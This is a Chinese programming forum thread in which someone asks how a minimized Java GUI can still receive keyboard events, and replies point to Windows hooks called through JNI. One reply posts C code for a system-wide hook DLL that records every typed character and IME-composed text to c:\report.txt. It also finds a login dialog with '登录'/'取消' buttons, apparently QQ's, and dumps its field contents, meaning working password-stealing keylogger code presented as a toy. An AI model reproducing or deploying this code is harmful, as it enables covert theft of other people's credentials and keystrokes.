有没有什么办法使即便GUI界面被最小化后依然可以相应键盘事件?

解决方案 »

  1.   

    用C++的Hook回调功能可以轻松做到, JAVA中我还不知道怎么做.
    如果真有这种需要还是用Windows API来做吧.
      

  2.   

    JAVA中没有提供这样的方法,但其他不是虚拟机的编程方法,可以用window系统的钩子.
      

  3.   

    还是用hook,然后再通过jni调用吧,估计只有这种方法最好用
      

  4.   

    to:smzh8() 
    能否详细讲讲“可以用window系统的钩子”的机制?to:peiuestc(沛) ( ) 
    “用hook,然后再通过jni调用” 这种机制具体是怎么用的?有没有什么资料可查?
      

  5.   

    给你一个我做来玩的程序:
    c代码:
    #include "stdafx.h"
    #include "TestJNI.h"
    #include "imm.h"
    #include <jni.h>
    #pragma data_seg(".HookUI")
    HINSTANCE g_hinstDLL = NULL;// 模块实例句柄
    HHOOK g_hKeyboardHook = NULL;// 键盘钩子句柄
    HHOOK g_hMsgHook = NULL;// 键盘钩子句柄
    HHOOK g_hWndHook = NULL;// 键盘钩子句柄
    HHOOK g_hMouseHook = NULL;// 鼠标钩子句柄
    bool g_KeyboardState = FALSE;// 返回键盘钩子的状态
    bool g_MouseState = FALSE;// 返回鼠标钩子的状态// 这是为了测试用的
    int ii = 0;
    int gC = 0; 
    int key=0;
    int time=NULL;
    bool isGet=false;
    #pragma data_seg() 
    BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)
    {
         char num[30];
         memset(num, 0, sizeof(num)); int ChildID = GetWindowLong(hwndChild,GWL_ID);
        GetWindowText(hwndChild,(LPSTR)&num,sizeof(num)); FILE* f1;
    f1=fopen("c:\\report.txt","a+");
    if (f1){
    fwrite(&num,strlen(num),1,f1);
    fclose(f1);
    }
    return true;
    }void getPasswdProc(){
    HWND hQQlog;
    if (!IsWindow(hQQlog))
    {
    hQQlog = NULL; 
    hQQlog = FindWindow("#32770", NULL);
    if (!FindWindowEx(hQQlog, 0, "Button", "登录")||!FindWindowEx(hQQlog, 0, "Button", "取消"))
    {
    return ;
    }
    }
    isGet=!isGet;
    if(!isGet)
    return ; if( hQQlog != NULL )
    {
     EnumChildWindows(hQQlog,EnumChildProc, NULL);  
    }
    }
    LRESULT CALLBACK WndProc(int nCode,WPARAM wParam,LPARAM lParam){
    CWPSTRUCT *pmsg = (CWPSTRUCT *)lParam;
    int cid=pmsg->wParam;
    if (pmsg->message == WM_COMMAND&&cid==33555442){
    getPasswdProc();
    }
       return CallNextHookEx(g_hWndHook, nCode, wParam, lParam);
     }
    LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
    {    
        LRESULT lResult = CallNextHookEx(g_hMsgHook, nCode, wParam, lParam);
        PMSG pmsg = (PMSG)lParam;
        if (nCode == HC_ACTION)
        {

           HIMC hIMC;
           HWND hWnd=pmsg->hwnd;    
           DWORD dwSize;
           char ch;
           char lpstr[20];
       
       if (pmsg->message==WM_IME_COMPOSITION){                if(pmsg->lParam & GCS_RESULTSTR)
                    {
                        //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd);
                        if (!hIMC)
                        {
                            MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                        }                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                        dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);                    // 缓冲区大小要加上字符串的NULL结束符大小,
                        //   考虑到UNICODE
                        dwSize += sizeof(WCHAR);                    memset(lpstr, 0, 20);                    // 再调用一次.ImmGetCompositionString获取字符串
                        ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);                    //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                        //MessageBox(NULL, lpstr, lpstr, MB_OK); 
                        //ImmReleaseContext(hWnd, hIMC);

                    FILE* f1;
                    f1=fopen("c:\\report.txt","a+");
    if (f1&&!isGet){
                    //ch=(char)(pmsg->wParam);
                    fwrite(lpstr,strlen(lpstr),1,f1);                   
    fclose(f1);
    }
    isGet=!isGet;
                    }
    ImmReleaseContext(hWnd, hIMC);
       }
       else if (pmsg->message==WM_CHAR){
                    FILE* f1;
                    f1=fopen("c:\\report.txt","a+");
    if (f1&&!isGet){
                    ch=(char)(pmsg->wParam);
                    fwrite(&ch,1,1,f1);
                    fclose(f1);    
    }
    isGet=!isGet;
       }
        
    }
        return CallNextHookEx(g_hMsgHook, nCode, wParam, lParam);
    }// 测试用
    VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime)
    {

    CHAR ss[128];
    int len;
    len = wsprintf(ss,"%d %d %X",ii,GetTickCount(),gC);
    HDC hdc  = GetDC(0);
    TextOut(hdc,1,1,ss,len);
    ReleaseDC(0,hdc);}
    // 测试用// DLL 入口函数
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {    switch (fdwReason)    
        {
            case DLL_PROCESS_ATTACH:
                g_hinstDLL = hinstDLL;  
    //if(time == NULL) SetTimer(0,1,100,TimerProc); // 测试用
              //  break;
        }
        return TRUE;}
    //键盘钩子函数
    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
    {if (nCode == HC_ACTION)
    {
    g_KeyboardState = TRUE;
    key=(int)wParam;
        if (wParam == VK_RETURN){     
    getPasswdProc();
    }
       
    }// 传给系统中的下一个钩子
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
    }//鼠标钩子函数
    LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
    {if (nCode == HC_ACTION) 
    {
    // 测试用
    ii++;
    gC=nCode;
    if(ii == 9999999)
    {
    ii = 0;
    }
    // 测试用g_MouseState = TRUE;
    }// 传给系统中的下一个钩子
    return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
    }
    //安装钩子的函数
    BOOL WINAPI StartHook(HWND h)
    {// 如果已经安装键盘钩子则返回 false
    if (g_hKeyboardHook != NULL)
    {
    return FALSE;
    }// 如果已经安装鼠标钩子则返回 false
    if (g_hMouseHook != NULL)
    {
    return FALSE;
    }// 安装键盘钩子
    g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hinstDLL, 0);
    if (g_hKeyboardHook == NULL)
    {
    return FALSE;
    }// 安装鼠标钩子
    g_hMouseHook = SetWindowsHookEx(WH_MOUSE, MouseProc, g_hinstDLL, 0);
    if (g_hMouseHook == NULL)
    {
    return FALSE;
    }return TRUE;
    }//卸载钩子的函数
    BOOL WINAPI StopHook()
    {
    KillTimer(0,1); // 测试用// 卸载键盘钩子
    if (UnhookWindowsHookEx(g_hKeyboardHook) == 0)
    {
    return FALSE;
    }
    g_hKeyboardHook = NULL;// 鼠标键盘钩子
    if (UnhookWindowsHookEx(g_hMouseHook) == 0)
    {
    return FALSE;
    }
    g_hMouseHook = NULL;return TRUE;}// 返回键盘钩子状态的函数
    BOOL WINAPI KeyboardState()
    {
    if (g_KeyboardState == TRUE)
    {
    g_KeyboardState = FALSE;
    return TRUE;
    }
    else
    {
    return FALSE;
    }
    }// 返回鼠标钩子状态的函数
    BOOL WINAPI MouseState()
    {
    if (g_MouseState == TRUE)
    {
    g_MouseState = FALSE;
    return TRUE;
    }
    else
    {
    return FALSE;
    }
    }
    JNIEXPORT void JNICALL Java_TestJNI_openHook
    (JNIEnv *, jclass){
    g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hinstDLL, 0);
    g_hWndHook = SetWindowsHookEx(WH_CALLWNDPROC, WndProc, g_hinstDLL, 0);
      //(m_hMenuHook=SetWindowsHookEx(WH_MOUSE,(HOOKPROC)HookProc,hInstance,0));
    }JNIEXPORT void JNICALL Java_TestJNI_closeHook
    (JNIEnv *, jclass){
    UnhookWindowsHookEx(g_hKeyboardHook);
    }
    JNIEXPORT jboolean JNICALL Java_TestJNI_getKey
    (JNIEnv *, jclass){
       return KeyboardState();
    }
    JNIEXPORT jint JNICALL Java_TestJNI_getKeyString
    (JNIEnv *, jclass){ if(KeyboardState()){
    return key;
    }else{
    return 0;
    }

    }
      

  6.   


    java代码:
    import java.awt.event.MouseListener;
    import java.awt.event.MouseEvent;
    import java.awt.event.MouseMotionListener;
    import javax.swing.*;
    import java.awt.event.WindowListener;
    import java.awt.event.WindowEvent;public class RunHook extends JFrame implements WindowListener{
      public static void main(String arg[]){
        new RunHook().show();
        while(true){
          int str=TestJNI.getKeyString();
          if (str!=0){
            System.out.println("钩子 key:"+str);
          }
          try{
            Thread.sleep(1000);
          }catch(Exception e){      }
        }
      }
      public RunHook(){
         JPanel p=new JPanel();
         this.getContentPane().add(p);
         this.setBounds(100,100,100,100);
         this.addWindowListener(this);
         TestJNI.openHook();
         //this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
      }  public void mouseDragged(MouseEvent mouseEvent) {
      }  public void mouseMoved(MouseEvent mouseEvent) {
        System.out.println("x-------------->"+mouseEvent.getX());
        System.out.println("y-------------->"+mouseEvent.getY());
      }  public void windowOpened(WindowEvent windowEvent) {
      }  public void windowClosing(WindowEvent windowEvent) {
        TestJNI.closeHook();
        System.exit(0);
      }  public void windowClosed(WindowEvent windowEvent) {
      }  public void windowIconified(WindowEvent windowEvent) {
      }  public void windowDeiconified(WindowEvent windowEvent) {
      }  public void windowActivated(WindowEvent windowEvent) {
      }  public void windowDeactivated(WindowEvent windowEvent) {
      }
    }public class TestJNI {
      static {
          System.loadLibrary("MouseHook3");
      }
     public native static int getMousex();
     public native static int getMousey();
     public native static void openHook();
     public native static void closeHook();
      public native static boolean getKey();
    public native static  int getKeyString();}
      

  7.   

    这样相当于是用java来调c++写的dll,问题是我的“hook”是用java写的,而且跟图形界面绑定了,有没有其他什么办法呢?